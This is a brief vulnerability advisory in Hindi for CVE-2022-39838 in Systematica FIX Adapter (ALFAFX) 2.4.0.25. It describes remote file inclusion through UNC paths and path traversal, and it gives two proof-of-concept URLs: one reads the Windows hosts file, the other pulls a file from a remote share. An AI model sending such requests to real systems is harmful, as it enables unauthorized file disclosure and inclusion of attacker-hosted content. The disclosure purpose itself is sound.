CVE-2022-39838

[सुझाया गया विवरण]

Systematica FIX Adapter (ALFAFX) 2.4.0.25 13/09/2017 एक UNC शेयर पथनाम के माध्यम से दूरस्थ फ़ाइल समावेशन की अनुमति देता है, और स्थानीय पथनामों तक पूर्ण पथ ट्रैवर्सल की भी अनुमति देता है।

[अतिरिक्त जानकारी]

PoC:

http://192.168.88.11:8888/info?page=logfile&file=C:\Windows\System32\drivers\etc\hosts

http://192.168.88.11:8888/info?page=logfile&file=\\192.168.88.100\rfi\test.txt

[भेद्यता प्रकार]

गलत अभिगम नियंत्रण

[उत्पाद का विक्रेता]

Systematica

[प्रभावित उत्पाद कोड आधार]

Systematica FIX Adapter (ALFAFX) - 2.4.0.25 (Build 13/09/2017)

[हमले का प्रकार]

दूरस्थ

[प्रभाव सूचना प्रकटीकरण]